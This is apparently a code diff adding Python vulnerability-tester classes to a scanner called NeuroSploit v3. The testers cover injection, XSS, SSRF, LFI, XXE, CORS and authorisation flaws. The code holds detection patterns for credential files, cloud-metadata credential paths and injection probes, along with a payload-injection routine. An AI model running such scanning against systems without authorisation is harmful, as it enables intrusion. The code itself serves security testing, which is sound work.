"""Check for JWT manipulation vulnerabilities"""
# Check if manipulated JWT was accepted
if response_status == 200:
# Algorithm none attack
if '"alg":"none"' in payload or '"alg": "none"' in payload:
return True, 0.9, "JWT 'none' algorithm accepted"
# Check for elevated privileges response
elevated_indicators = ["admin", "administrator", "role.*admin"]
for pattern in elevated_indicators:
if re.search(pattern, response_body, re.IGNORECASE):
return True, 0.8, "JWT manipulation: Elevated privileges detected"
# Check for JWT-specific errors
jwt_errors = [
r"invalid.*token", r"jwt.*expired", r"signature.*invalid",
r"token.*malformed", r"unauthorized"
]
for pattern in jwt_errors:
if re.search(pattern, response_body, re.IGNORECASE):
# Error means it's checking - note for further testing
return False, 0.0, None
return False, 0.0, None
class SessionFixationTester(BaseTester):
"""Tester for Session Fixation"""
def __init__(self):
super().__init__()
self.name = "session_fixation"
def analyze_response(
self,
payload: str,
response_status: int,
response_headers: Dict,
response_body: str,
context: Dict
) -> Tuple[bool, float, Optional[str]]:
"""Check for session fixation vulnerability"""
# Check Set-Cookie header
set_cookie = response_headers.get("Set-Cookie", "")
# If session ID in URL was accepted
if "JSESSIONID=" in payload or "PHPSESSID=" in payload:
if response_status == 200:
# Check if session was NOT regenerated
if not set_cookie or "JSESSIONID" not in set_cookie:
return True, 0.7, "Session ID from URL accepted without regeneration"
# Check for session in URL
if re.search(r'[?&](?:session|sid|PHPSESSID|JSESSIONID)=', response_body):
return True, 0.6, "Session ID exposed in URL"
return False, 0.0, None
@@ -0,0 +1,130 @@
"""
NeuroSploit v3 - Authorization Vulnerability Testers
Testers for IDOR, BOLA, Privilege Escalation
"""
import re
from typing import Tuple, Dict, Optional
from backend.core.vuln_engine.testers.base_tester import BaseTester
class IDORTester(BaseTester):
"""Tester for Insecure Direct Object Reference"""
def __init__(self):
super().__init__()
self.name = "idor"
def analyze_response(
self,
payload: str,
response_status: int,
response_headers: Dict,
response_body: str,
context: Dict
) -> Tuple[bool, float, Optional[str]]:
"""Check for IDOR vulnerability"""
# Check if we got data for a different ID
if response_status == 200:
# Look for user data indicators
user_data_patterns = [
r'"user_?id"\s*:\s*\d+',
r'"email"\s*:\s*"[^"]+"',
r'"name"\s*:\s*"[^"]+"',
r'"account"\s*:',
r'"profile"\s*:'
]
for pattern in user_data_patterns:
if re.search(pattern, response_body, re.IGNORECASE):
# Check if ID in payload differs from context user
if "original_id" in context:
if context["original_id"] not in payload:
return True, 0.8, f"IDOR: Accessed different user's data"
# Generic data access check
if len(response_body) > 50:
return True, 0.6, "IDOR: Response contains data - verify authorization"
return False, 0.0, None
class BOLATester(BaseTester):
"""Tester for Broken Object Level Authorization"""
def __init__(self):
super().__init__()
self.name = "bola"
def analyze_response(
self,
payload: str,
response_status: int,
response_headers: Dict,
response_body: str,
context: Dict
) -> Tuple[bool, float, Optional[str]]:
"""Check for BOLA in APIs"""
# BOLA in REST APIs
if response_status == 200:
# Check for successful data access
data_indicators = [
r'"data"\s*:\s*\{',
r'"items"\s*:\s*\[',
r'"result"\s*:\s*\{',
r'"id"\s*:\s*\d+'
]
for pattern in data_indicators:
if re.search(pattern, response_body):
return True, 0.7, "BOLA: API returned object data - verify authorization"
# Check for enumeration possibilities
if response_status in [200, 404]:
# Different status for valid vs invalid IDs indicates BOLA risk
return True, 0.5, "BOLA: Different responses for IDs - enumeration possible"
return False, 0.0, None
class PrivilegeEscalationTester(BaseTester):
"""Tester for Privilege Escalation"""
def __init__(self):
super().__init__()
self.name = "privilege_escalation"
def analyze_response(
self,
payload: str,
response_status: int,
response_headers: Dict,
response_body: str,
context: Dict
) -> Tuple[bool, float, Optional[str]]:
"""Check for privilege escalation"""
if response_status == 200:
# Check for admin/elevated access indicators
elevated_access = [
r'"role"\s*:\s*"admin"',
r'"is_?admin"\s*:\s*true',
r'"admin"\s*:\s*true',
r'"privilege"\s*:\s*"(?:admin|root|superuser)"',
r'"permissions"\s*:\s*\[.*"admin".*\]'
]
for pattern in elevated_access:
if re.search(pattern, response_body, re.IGNORECASE):
return True, 0.9, f"Privilege escalation: Elevated role in response"
# Check for admin functionality access
admin_functions = [
"user management", "delete user", "admin panel",
"system settings", "all users", "user list"
]
body_lower = response_body.lower()
for func in admin_functions:
if func in body_lower:
return True, 0.7, f"Privilege escalation: Admin functionality '{func}' accessible"
return False, 0.0, None
@@ -0,0 +1,107 @@
"""
NeuroSploit v3 - Base Vulnerability Tester
Base class for all vulnerability testers.
"""
from typing import Tuple, Dict, List, Optional, Any
from urllib.parse import urlparse, urlencode, parse_qs, urlunparse
class BaseTester:
"""Base class for vulnerability testers"""
def __init__(self):
self.name = "base"
def build_request(
self,
endpoint,
payload: str
) -> Tuple[str, Dict, Dict, Optional[str]]:
"""
Build a test request with the payload.
Returns:
Tuple of (url, params, headers, body)
"""
url = endpoint.url
params = {}
headers = {"User-Agent": "NeuroSploit/3.0"}
body = None
# Inject payload into parameters if endpoint has them
if endpoint.parameters:
for param in endpoint.parameters:
param_name = param.get("name", param) if isinstance(param, dict) else param
params[param_name] = payload
else:
# Try to inject into URL query string
parsed = urlparse(url)
if parsed.query:
query_params = parse_qs(parsed.query)
for key in query_params:
query_params[key] = [payload]
new_query = urlencode(query_params, doseq=True)
url = urlunparse(parsed._replace(query=new_query))
else:
# Add as query parameter
params["test"] = payload
return url, params, headers, body
def analyze_response(
self,
payload: str,
response_status: int,
response_headers: Dict,
response_body: str,
context: Dict
) -> Tuple[bool, float, Optional[str]]:
"""
Analyze response to determine if vulnerable.
Returns:
Tuple of (is_vulnerable, confidence, evidence)
"""
return False, 0.0, None
def check_timeout_vulnerability(self, vuln_type: str) -> bool:
"""Check if timeout indicates vulnerability for this type"""
return False
def get_injection_points(self, endpoint) -> List[Dict]:
"""Get all injection points for an endpoint"""
points = []
# URL parameters
if endpoint.parameters:
for param in endpoint.parameters:
param_name = param.get("name", param) if isinstance(param, dict) else param
points.append({
"type": "parameter",
"name": param_name,
"location": "query"
})
# Parse URL for query params
parsed = urlparse(endpoint.url)
if parsed.query:
query_params = parse_qs(parsed.query)
for key in query_params:
if not any(p.get("name") == key for p in points):
points.append({
"type": "parameter",
"name": key,
"location": "query"
})
# Headers that might be injectable
injectable_headers = ["User-Agent", "Referer", "X-Forwarded-For", "Cookie"]
for header in injectable_headers:
points.append({
"type": "header",
"name": header,
"location": "header"
})
return points
@@ -0,0 +1,150 @@
"""
NeuroSploit v3 - Client-Side Vulnerability Testers
Testers for CORS, Clickjacking, Open Redirect
"""
import re
from typing import Tuple, Dict, Optional
from backend.core.vuln_engine.testers.base_tester import BaseTester
class CORSTester(BaseTester):
"""Tester for CORS Misconfiguration"""
def __init__(self):
super().__init__()
self.name = "cors_misconfig"
def build_request(self, endpoint, payload: str) -> Tuple[str, Dict, Dict, Optional[str]]:
"""Build CORS test request with Origin header"""
headers = {
"User-Agent": "NeuroSploit/3.0",
"Origin": payload # payload is the test origin
}
return endpoint.url, {}, headers, None
def analyze_response(
self,
payload: str,
response_status: int,
response_headers: Dict,
response_body: str,
context: Dict
) -> Tuple[bool, float, Optional[str]]:
"""Check for CORS misconfiguration"""
acao = response_headers.get("Access-Control-Allow-Origin", "")
acac = response_headers.get("Access-Control-Allow-Credentials", "")
# Wildcard with credentials
if acao == "*" and acac.lower() == "true":
return True, 0.95, "CORS: Wildcard origin with credentials allowed"
# Origin reflection
if acao == payload:
if acac.lower() == "true":
return True, 0.9, f"CORS: Arbitrary origin '{payload}' reflected with credentials"
return True, 0.7, f"CORS: Arbitrary origin '{payload}' reflected"
# Wildcard (without credentials still risky)
if acao == "*":
return True, 0.5, "CORS: Wildcard origin allowed"
# Null origin accepted
if acao == "null":
return True, 0.8, "CORS: Null origin accepted"
return False, 0.0, None
class ClickjackingTester(BaseTester):
"""Tester for Clickjacking vulnerability"""
def __init__(self):
super().__init__()
self.name = "clickjacking"
def analyze_response(
self,
payload: str,
response_status: int,
response_headers: Dict,
response_body: str,
context: Dict
) -> Tuple[bool, float, Optional[str]]:
"""Check for clickjacking protection"""
# Check X-Frame-Options
xfo = response_headers.get("X-Frame-Options", "").upper()
# Check CSP frame-ancestors
csp = response_headers.get("Content-Security-Policy", "")
has_frame_ancestors = "frame-ancestors" in csp.lower()
if not xfo and not has_frame_ancestors:
return True, 0.8, "Clickjacking: No X-Frame-Options or frame-ancestors CSP"
if xfo and xfo not in ["DENY", "SAMEORIGIN"]:
return True, 0.7, f"Clickjacking: Weak X-Frame-Options: {xfo}"
# Check for JS frame busting that can be bypassed
frame_busters = [
r"if\s*\(\s*top\s*[!=]=",
r"if\s*\(\s*self\s*[!=]=\s*top",
r"if\s*\(\s*parent\s*[!=]="
]
for pattern in frame_busters:
if re.search(pattern, response_body):
if not xfo and not has_frame_ancestors:
return True, 0.6, "Clickjacking: Only JS frame-busting (bypassable)"
return False, 0.0, None
class OpenRedirectTester(BaseTester):
"""Tester for Open Redirect vulnerability"""
def __init__(self):
super().__init__()
self.name = "open_redirect"
def analyze_response(
self,
payload: str,
response_status: int,
response_headers: Dict,
response_body: str,
context: Dict
) -> Tuple[bool, float, Optional[str]]:
"""Check for open redirect"""
# Check redirect status and Location header
if response_status in [301, 302, 303, 307, 308]:
location = response_headers.get("Location", "")
# Check if our payload URL is in Location
if payload in location:
return True, 0.9, f"Open redirect: Redirecting to {location}"
# Check for partial match (domain)
if "evil.com" in payload and "evil.com" in location:
return True, 0.9, "Open redirect: External domain in redirect"
# Check for meta refresh redirect
meta_refresh = re.search(
r'<meta[^>]+http-equiv=["\']?refresh["\']?[^>]+content=["\']?\d+;\s*url=([^"\'>\s]+)',
response_body, re.IGNORECASE
)
if meta_refresh:
redirect_url = meta_refresh.group(1)
if payload in redirect_url:
return True, 0.8, f"Open redirect via meta refresh: {redirect_url}"
# Check for JavaScript redirect
js_redirects = [
rf'location\.href\s*=\s*["\']?{re.escape(payload)}',
rf'location\.assign\s*\(["\']?{re.escape(payload)}',
rf'location\.replace\s*\(["\']?{re.escape(payload)}'
]
for pattern in js_redirects:
if re.search(pattern, response_body):
return True, 0.7, "Open redirect via JavaScript"
return False, 0.0, None
@@ -0,0 +1,203 @@
"""
NeuroSploit v3 - File Access Vulnerability Testers
Testers for LFI, RFI, Path Traversal, XXE, File Upload
"""
import re
from typing import Tuple, Dict, Optional
from backend.core.vuln_engine.testers.base_tester import BaseTester
class LFITester(BaseTester):
"""Tester for Local File Inclusion"""
def __init__(self):
super().__init__()
self.name = "lfi"
self.file_signatures = {
# Linux files
r"root:.*:0:0:": "/etc/passwd",
r"\[boot loader\]": "Windows boot.ini",
r"\[operating systems\]": "Windows boot.ini",
r"# /etc/hosts": "/etc/hosts",
r"localhost": "/etc/hosts",
r"\[global\]": "Samba config",
r"include.*php": "PHP config",
# Windows files
r"\[extensions\]": "Windows win.ini",
r"for 16-bit app support": "Windows system.ini",
}
def analyze_response(
self,
payload: str,
response_status: int,
response_headers: Dict,
response_body: str,
context: Dict
) -> Tuple[bool, float, Optional[str]]:
"""Check for LFI indicators"""
for pattern, file_name in self.file_signatures.items():
if re.search(pattern, response_body, re.IGNORECASE):
return True, 0.95, f"LFI confirmed: {file_name} content detected"
# Check for path in error messages
path_patterns = [
r"failed to open stream.*No such file",
r"include\(.*\): failed to open stream",
r"Warning.*file_get_contents",
r"fopen\(.*\): failed"
]
for pattern in path_patterns:
if re.search(pattern, response_body, re.IGNORECASE):
return True, 0.6, "LFI indicator: File operation error with path"
return False, 0.0, None
class RFITester(BaseTester):
"""Tester for Remote File Inclusion"""
def __init__(self):
super().__init__()
self.name = "rfi"
def analyze_response(
self,
payload: str,
response_status: int,
response_headers: Dict,
response_body: str,
context: Dict
) -> Tuple[bool, float, Optional[str]]:
"""Check for RFI indicators"""
# Check if our remote content was included
if "neurosploit_rfi_test" in response_body:
return True, 0.95, "RFI confirmed: Remote content executed"
# Check for URL-related errors
rfi_errors = [
r"failed to open stream: HTTP request failed",
r"allow_url_include",
r"URL file-access is disabled"
]
for pattern in rfi_errors:
if re.search(pattern, response_body, re.IGNORECASE):
return True, 0.5, f"RFI indicator: {pattern}"
return False, 0.0, None
class PathTraversalTester(BaseTester):
"""Tester for Path Traversal"""
def __init__(self):
super().__init__()
self.name = "path_traversal"
def analyze_response(
self,
payload: str,
response_status: int,
response_headers: Dict,
response_body: str,
context: Dict
) -> Tuple[bool, float, Optional[str]]:
"""Check for path traversal indicators"""
# Same as LFI essentially
file_contents = [
r"root:.*:0:0:",
r"\[boot loader\]",
r"# /etc/",
r"127\.0\.0\.1.*localhost"
]
for pattern in file_contents:
if re.search(pattern, response_body):
return True, 0.9, f"Path traversal successful: File content detected"
return False, 0.0, None
class XXETester(BaseTester):
"""Tester for XML External Entity Injection"""
def __init__(self):
super().__init__()
self.name = "xxe"
def build_request(self, endpoint, payload: str) -> Tuple[str, Dict, Dict, Optional[str]]:
"""Build XXE request with XML body"""
headers = {
"User-Agent": "NeuroSploit/3.0",
"Content-Type": "application/xml"
}
return endpoint.url, {}, headers, payload
def analyze_response(
self,
payload: str,
response_status: int,
response_headers: Dict,
response_body: str,
context: Dict
) -> Tuple[bool, float, Optional[str]]:
"""Check for XXE indicators"""
# File content indicators
xxe_indicators = [
r"root:.*:0:0:",
r"\[boot loader\]",
r"# /etc/hosts",
r"<!ENTITY",
]
for pattern in xxe_indicators:
if re.search(pattern, response_body):
return True, 0.9, f"XXE confirmed: External entity processed"
# Error indicators
xxe_errors = [
r"XML parsing error",
r"External entity",
r"DOCTYPE.*ENTITY",
r"libxml"
]
for pattern in xxe_errors:
if re.search(pattern, response_body, re.IGNORECASE):
return True, 0.6, f"XXE indicator: XML error with entity reference"
return False, 0.0, None
class FileUploadTester(BaseTester):
"""Tester for Arbitrary File Upload"""
def __init__(self):
super().__init__()
self.name = "file_upload"
def analyze_response(
self,
payload: str,
response_status: int,
response_headers: Dict,
response_body: str,
context: Dict
) -> Tuple[bool, float, Optional[str]]:
"""Check for file upload vulnerability indicators"""
# Check for successful upload indicators
if response_status in [200, 201]:
success_indicators = [
"uploaded successfully",
"file saved",
"upload complete",
'"success"\\s*:\\s*true',
'"status"\\s*:\\s*"ok"'
]
for pattern in success_indicators:
if re.search(pattern, response_body, re.IGNORECASE):
return True, 0.7, "File uploaded successfully - verify execution"
# Check for path disclosure in response
if re.search(r'["\']?(?:path|url|file)["\']?\s*:\s*["\'][^"\']+\.(php|asp|jsp)', response_body, re.IGNORECASE):
return True, 0.8, "Executable file path returned - possible RCE"
return False, 0.0, None
@@ -0,0 +1,152 @@
"""
NeuroSploit v3 - Infrastructure Vulnerability Testers
Testers for Security Headers, SSL/TLS, HTTP Methods
"""
import re
from typing import Tuple, Dict, Optional
from backend.core.vuln_engine.testers.base_tester import BaseTester
class SecurityHeadersTester(BaseTester):
"""Tester for Missing Security Headers"""
def __init__(self):
super().__init__()
self.name = "security_headers"
self.required_headers = {
"Strict-Transport-Security": "HSTS not configured",
"X-Content-Type-Options": "X-Content-Type-Options not set",
"X-Frame-Options": "X-Frame-Options not set",
"Content-Security-Policy": "CSP not configured",
"X-XSS-Protection": "X-XSS-Protection not set (legacy but still useful)",
"Referrer-Policy": "Referrer-Policy not configured"
}
def analyze_response(
self,
payload: str,
response_status: int,
response_headers: Dict,
response_body: str,
context: Dict
) -> Tuple[bool, float, Optional[str]]:
"""Check for missing security headers"""
missing = []
headers_lower = {k.lower(): v for k, v in response_headers.items()}
for header, message in self.required_headers.items():
if header.lower() not in headers_lower:
missing.append(message)
# Check for weak CSP
csp = headers_lower.get("content-security-policy", "")
if csp:
weak_csp = []
if "unsafe-inline" in csp:
weak_csp.append("unsafe-inline")
if "unsafe-eval" in csp:
weak_csp.append("unsafe-eval")
if "*" in csp:
weak_csp.append("wildcard sources")
if weak_csp:
missing.append(f"Weak CSP: {', '.join(weak_csp)}")
if missing:
confidence = min(0.3 + len(missing) * 0.1, 0.8)
return True, confidence, f"Missing/weak headers: {'; '.join(missing[:3])}"
return False, 0.0, None
class SSLTester(BaseTester):
"""Tester for SSL/TLS Issues"""
def __init__(self):
super().__init__()
self.name = "ssl_issues"
def analyze_response(
self,
payload: str,
response_status: int,
response_headers: Dict,
response_body: str,
context: Dict
) -> Tuple[bool, float, Optional[str]]:
"""Check for SSL/TLS issues"""
issues = []
# Check HSTS
hsts = response_headers.get("Strict-Transport-Security", "")
if not hsts:
issues.append("HSTS not enabled")
else:
# Check HSTS max-age
max_age_match = re.search(r'max-age=(\d+)', hsts)
if max_age_match:
max_age = int(max_age_match.group(1))
if max_age < 31536000: # Less than 1 year
issues.append(f"HSTS max-age too short: {max_age}s")
if "includeSubDomains" not in hsts:
issues.append("HSTS missing includeSubDomains")
# Check for HTTP resources on HTTPS page
if "https://" in (context.get("url", "") or ""):
http_resources = re.findall(r'(?:src|href)=["\']http://[^"\']+', response_body)
if http_resources:
issues.append(f"Mixed content: {len(http_resources)} HTTP resources")
if issues:
return True, 0.6, f"SSL/TLS issues: {'; '.join(issues)}"
return False, 0.0, None
class HTTPMethodsTester(BaseTester):
"""Tester for Dangerous HTTP Methods"""
def __init__(self):
super().__init__()
self.name = "http_methods"
self.dangerous_methods = ["TRACE", "TRACK", "PUT", "DELETE", "CONNECT"]
def build_request(self, endpoint, payload: str) -> Tuple[str, Dict, Dict, Optional[str]]:
"""Build OPTIONS request to check allowed methods"""
headers = {
"User-Agent": "NeuroSploit/3.0"
}
# payload is the HTTP method to test
return endpoint.url, {}, headers, None
def analyze_response(
self,
payload: str,
response_status: int,
response_headers: Dict,
response_body: str,
context: Dict
) -> Tuple[bool, float, Optional[str]]:
"""Check for dangerous HTTP methods"""
# Check Allow header from OPTIONS response
allow = response_headers.get("Allow", "")
dangerous_found = []
for method in self.dangerous_methods:
if method in allow.upper():
dangerous_found.append(method)
# TRACE method enables XST attacks
if "TRACE" in dangerous_found or "TRACK" in dangerous_found:
return True, 0.7, f"Dangerous methods enabled: {', '.join(dangerous_found)} (XST risk)"
if dangerous_found:
return True, 0.5, f"Potentially dangerous methods: {', '.join(dangerous_found)}"
# Check if specific method test succeeded
if payload.upper() in self.dangerous_methods:
if response_status == 200:
return True, 0.6, f"{payload} method accepted"
return False, 0.0, None
@@ -0,0 +1,372 @@
"""
NeuroSploit v3 - Injection Vulnerability Testers
Testers for XSS, SQL Injection, Command Injection, SSTI, etc.
"""
import re
from typing import Tuple, Dict, Optional
from backend.core.vuln_engine.testers.base_tester import BaseTester
class XSSReflectedTester(BaseTester):
"""Tester for Reflected XSS vulnerabilities"""
def __init__(self):
super().__init__()
self.name = "xss_reflected"
# Unique markers for detection
self.markers = [
"neurosploit",
"xsstest123",
"alert(1)"
]
def analyze_response(
self,
payload: str,
response_status: int,
response_headers: Dict,
response_body: str,
context: Dict
) -> Tuple[bool, float, Optional[str]]:
"""Check if XSS payload is reflected in response"""
if response_status >= 400:
return False, 0.0, None
# Check if payload is reflected
if payload in response_body:
# Check if it's in a dangerous context
dangerous_patterns = [
rf'<script[^>]*>{re.escape(payload)}',
rf'on\w+\s*=\s*["\']?{re.escape(payload)}',
rf'javascript:\s*{re.escape(payload)}',
rf'<[^>]+{re.escape(payload)}[^>]*>',
]
for pattern in dangerous_patterns:
if re.search(pattern, response_body, re.IGNORECASE):
return True, 0.9, f"XSS payload reflected in dangerous context: {pattern}"
# Payload reflected but possibly encoded
return True, 0.7, "XSS payload reflected in response"
# Check for partial reflection (script tags, etc.)
for marker in self.markers:
if marker in payload and marker in response_body:
return True, 0.6, f"XSS marker '{marker}' found in response"
return False, 0.0, None
class XSSStoredTester(BaseTester):
"""Tester for Stored XSS vulnerabilities"""
def __init__(self):
super().__init__()
self.name = "xss_stored"
def analyze_response(
self,
payload: str,
response_status: int,
response_headers: Dict,
response_body: str,
context: Dict
) -> Tuple[bool, float, Optional[str]]:
"""Check for stored XSS - requires subsequent request verification"""
# For stored XSS, we need to check if data was stored
# This is a simplified check - full implementation would verify on retrieval
if response_status in [200, 201, 302]:
if "success" in response_body.lower() or "created" in response_body.lower():
return True, 0.5, "Data possibly stored - verify retrieval for stored XSS"
return False, 0.0, None
class XSSDomTester(BaseTester):
"""Tester for DOM-based XSS vulnerabilities"""
def __init__(self):
super().__init__()
self.name = "xss_dom"
self.dom_sinks = [
"innerHTML", "outerHTML", "document.write", "document.writeln",
"eval(", "setTimeout(", "setInterval(", "location.href",
"location.assign", "location.replace"
]
def analyze_response(
self,
payload: str,
response_status: int,
response_headers: Dict,
response_body: str,
context: Dict
) -> Tuple[bool, float, Optional[str]]:
"""Check for DOM XSS indicators"""
# Look for dangerous DOM sinks in JavaScript
for sink in self.dom_sinks:
pattern = rf'{sink}[^;]*(?:location|document\.URL|document\.referrer|window\.name)'
if re.search(pattern, response_body, re.IGNORECASE):
return True, 0.7, f"Potential DOM XSS sink found: {sink}"
# Check if URL parameters are used in JavaScript
if re.search(r'(?:location\.search|location\.hash|document\.URL)', response_body):
if any(sink in response_body for sink in self.dom_sinks):
return True, 0.6, "URL input flows to DOM sink"
return False, 0.0, None
class SQLiErrorTester(BaseTester):
"""Tester for Error-based SQL Injection"""
def __init__(self):
super().__init__()
self.name = "sqli_error"
self.error_patterns = [
# MySQL
r"SQL syntax.*MySQL", r"Warning.*mysql_", r"MySQLSyntaxErrorException",
r"valid MySQL result", r"check the manual that corresponds to your MySQL",
# PostgreSQL
r"PostgreSQL.*ERROR", r"Warning.*pg_", r"valid PostgreSQL result",
r"Npgsql\.", r"PG::SyntaxError",
# SQL Server
r"Driver.*SQL[\-\_\ ]*Server", r"OLE DB.*SQL Server",
r"(\W|\A)SQL Server.*Driver", r"Warning.*mssql_",
r"(\W|\A)SQL Server.*[0-9a-fA-F]{8}", r"Microsoft SQL Native Client error",
# Oracle
r"\bORA-[0-9][0-9][0-9][0-9]", r"Oracle error", r"Oracle.*Driver",
r"Warning.*oci_", r"Warning.*ora_",
# SQLite
r"SQLite/JDBCDriver", r"SQLite\.Exception", r"System\.Data\.SQLite\.SQLiteException",
r"Warning.*sqlite_", r"Warning.*SQLite3::",
# Generic
r"SQL syntax.*", r"syntax error.*SQL", r"unclosed quotation mark",
r"quoted string not properly terminated"
]
def analyze_response(
self,
payload: str,
response_status: int,
response_headers: Dict,
response_body: str,
context: Dict
) -> Tuple[bool, float, Optional[str]]:
"""Check for SQL error messages in response"""
for pattern in self.error_patterns:
match = re.search(pattern, response_body, re.IGNORECASE)
if match:
return True, 0.9, f"SQL error detected: {match.group(0)[:100]}"
return False, 0.0, None
class SQLiUnionTester(BaseTester):
"""Tester for Union-based SQL Injection"""
def __init__(self):
super().__init__()
self.name = "sqli_union"
def analyze_response(
self,
payload: str,
response_status: int,
response_headers: Dict,
response_body: str,
context: Dict
) -> Tuple[bool, float, Optional[str]]:
"""Check for union-based SQLi indicators"""
# Look for injected data markers
union_markers = ["neurosploit", "uniontest", "concat(", "version()"]
for marker in union_markers:
if marker in payload.lower() and marker in response_body.lower():
return True, 0.8, f"Union injection marker '{marker}' found in response"
# Check for database version strings
version_patterns = [
r"MySQL.*\d+\.\d+", r"PostgreSQL.*\d+\.\d+",
r"Microsoft SQL Server.*\d+", r"Oracle.*\d+",
r"\d+\.\d+\.\d+-MariaDB"
]
for pattern in version_patterns:
if re.search(pattern, response_body):
return True, 0.7, "Database version string found - possible union SQLi"
return False, 0.0, None
class SQLiBlindTester(BaseTester):
"""Tester for Boolean-based Blind SQL Injection"""
def __init__(self):
super().__init__()
self.name = "sqli_blind"
self.baseline_length = None
def analyze_response(
self,
payload: str,
response_status: int,
response_headers: Dict,
response_body: str,
context: Dict
) -> Tuple[bool, float, Optional[str]]:
"""Check for boolean-based blind SQLi"""
# This requires comparing responses - simplified check
response_length = len(response_body)
# Check for significant difference in response
if "baseline_length" in context:
diff = abs(response_length - context["baseline_length"])
if diff > 100: # Significant difference
return True, 0.6, f"Response length differs by {diff} bytes - possible blind SQLi"
# Check for conditional responses
if "1=1" in payload and response_status == 200:
return True, 0.5, "True condition returned 200 - possible blind SQLi"
return False, 0.0, None
class SQLiTimeTester(BaseTester):
"""Tester for Time-based Blind SQL Injection"""
def __init__(self):
super().__init__()
self.name = "sqli_time"
def check_timeout_vulnerability(self, vuln_type: str) -> bool:
"""Time-based SQLi is indicated by timeout"""
return True
def analyze_response(
self,
payload: str,
response_status: int,
response_headers: Dict,
response_body: str,
context: Dict
) -> Tuple[bool, float, Optional[str]]:
"""Time-based detection relies on timeout"""
# Response time analysis would be done in the engine
return False, 0.0, None
class CommandInjectionTester(BaseTester):
"""Tester for OS Command Injection"""
def __init__(self):
super().__init__()
self.name = "command_injection"
self.command_outputs = [
# Linux
r"root:.*:0:0:", r"bin:.*:1:1:", # /etc/passwd
r"uid=\d+.*gid=\d+", # id command
r"Linux.*\d+\.\d+\.\d+", # uname
r"total \d+.*drwx", # ls -la
# Windows
r"Volume Serial Number",
r"Directory of [A-Z]:\\",
r"Windows.*\[Version",
r"Microsoft Windows"
]
def analyze_response(
self,
payload: str,
response_status: int,
response_headers: Dict,
response_body: str,
context: Dict
) -> Tuple[bool, float, Optional[str]]:
"""Check for command execution evidence"""
for pattern in self.command_outputs:
match = re.search(pattern, response_body, re.IGNORECASE)
if match:
return True, 0.95, f"Command output detected: {match.group(0)[:100]}"
# Check for our marker
if "neurosploit" in payload and "neurosploit" in response_body:
return True, 0.8, "Command injection marker echoed"
return False, 0.0, None
class SSTITester(BaseTester):
"""Tester for Server-Side Template Injection"""
def __init__(self):
super().__init__()
self.name = "ssti"
# Mathematical expressions that prove code execution
self.math_results = {
"{{7*7}}": "49",
"${7*7}": "49",
"#{7*7}": "49",
"<%= 7*7 %>": "49",
"{{7*'7'}}": "7777777", # Jinja2
}
def analyze_response(
self,
payload: str,
response_status: int,
response_headers: Dict,
response_body: str,
context: Dict
) -> Tuple[bool, float, Optional[str]]:
"""Check for SSTI indicators"""
# Check mathematical results
for expr, result in self.math_results.items():
if expr in payload and result in response_body:
return True, 0.95, f"SSTI confirmed: {expr} = {result}"
# Check for template errors
template_errors = [
r"TemplateSyntaxError", r"Jinja2", r"Twig_Error",
r"freemarker\.core\.", r"velocity\.exception",
r"org\.apache\.velocity", r"Smarty"
]
for pattern in template_errors:
if re.search(pattern, response_body):
return True, 0.7, f"Template engine error: {pattern}"
return False, 0.0, None
class NoSQLInjectionTester(BaseTester):
"""Tester for NoSQL Injection"""
def __init__(self):
super().__init__()
self.name = "nosql_injection"
def analyze_response(
self,
payload: str,
response_status: int,
response_headers: Dict,
response_body: str,
context: Dict
) -> Tuple[bool, float, Optional[str]]:
"""Check for NoSQL injection indicators"""
# MongoDB errors
nosql_errors = [
r"MongoError", r"MongoDB", r"bson",
r"\$where", r"\$gt", r"\$ne",
r"SyntaxError.*JSON"
]
for pattern in nosql_errors:
if re.search(pattern, response_body, re.IGNORECASE):
return True, 0.7, f"NoSQL error indicator: {pattern}"
# Check for authentication bypass
if "$ne" in payload or "$gt" in payload:
if response_status == 200 and "success" in response_body.lower():
return True, 0.6, "Possible NoSQL authentication bypass"
return False, 0.0, None
@@ -0,0 +1,99 @@
"""
NeuroSploit v3 - Request Forgery Vulnerability Testers
Testers for SSRF and CSRF
"""
import re
from typing import Tuple, Dict, Optional
from backend.core.vuln_engine.testers.base_tester import BaseTester
class SSRFTester(BaseTester):
"""Tester for Server-Side Request Forgery"""
def __init__(self):
super().__init__()
self.name = "ssrf"
# Cloud metadata indicators
self.cloud_indicators = [
r"ami-[a-z0-9]+", # AWS AMI ID
r"instance-id",
r"iam/security-credentials",
r"compute/v1", # GCP
r"metadata/instance",
r"169\.254\.169\.254"
]
def analyze_response(
self,
payload: str,
response_status: int,
response_headers: Dict,
response_body: str,
context: Dict
) -> Tuple[bool, float, Optional[str]]:
"""Check for SSRF indicators"""
# Check for cloud metadata
for pattern in self.cloud_indicators:
if re.search(pattern, response_body, re.IGNORECASE):
return True, 0.95, f"SSRF to cloud metadata: {pattern}"
# Check for internal service indicators
internal_indicators = [
r"localhost",
r"127\.0\.0\.1",
r"192\.168\.\d+\.\d+",
r"10\.\d+\.\d+\.\d+",
r"172\.(?:1[6-9]|2\d|3[01])\.\d+\.\d+"
]
for pattern in internal_indicators:
if pattern in payload and re.search(pattern, response_body):
return True, 0.8, f"SSRF accessing internal resource: {pattern}"
# Check for different response when internal URL requested
if response_status == 200 and len(response_body) > 100:
if "169.254" in payload or "localhost" in payload or "127.0.0.1" in payload:
return True, 0.6, "Response received from internal URL - possible SSRF"
return False, 0.0, None
class CSRFTester(BaseTester):
"""Tester for Cross-Site Request Forgery"""
def __init__(self):
super().__init__()
self.name = "csrf"
def analyze_response(
self,
payload: str,
response_status: int,
response_headers: Dict,
response_body: str,
context: Dict
) -> Tuple[bool, float, Optional[str]]:
"""Check for CSRF vulnerability indicators"""
# Check for missing CSRF protections
csrf_protections = [
r'name=["\']?csrf',
r'name=["\']?_token',
r'name=["\']?authenticity_token',
r'X-CSRF-TOKEN',
r'X-XSRF-TOKEN'
]
has_protection = any(
re.search(pattern, response_body, re.IGNORECASE)
for pattern in csrf_protections
)
# Check SameSite cookie
has_samesite = "samesite" in str(response_headers).lower()
# State-changing request without protection
if not has_protection and not has_samesite:
if response_status in [200, 302]:
return True, 0.7, "No CSRF token found in form - possible CSRF"
return False, 0.0, None
+3
View File
@@ -0,0 +1,3 @@
from backend.db.database import Base, get_db, init_db, close_db, engine, async_session_maker
__all__ = ["Base", "get_db", "init_db", "close_db", "engine", "async_session_maker"]
+53
View File
@@ -0,0 +1,53 @@
"""
NeuroSploit v3 - Database Configuration
"""
from sqlalchemy.ext.asyncio import AsyncSession, create_async_engine, async_sessionmaker
from sqlalchemy.orm import DeclarativeBase
from backend.config import settings
class Base(DeclarativeBase):
"""Base class for all models"""
pass
# Create async engine
engine = create_async_engine(
settings.DATABASE_URL,
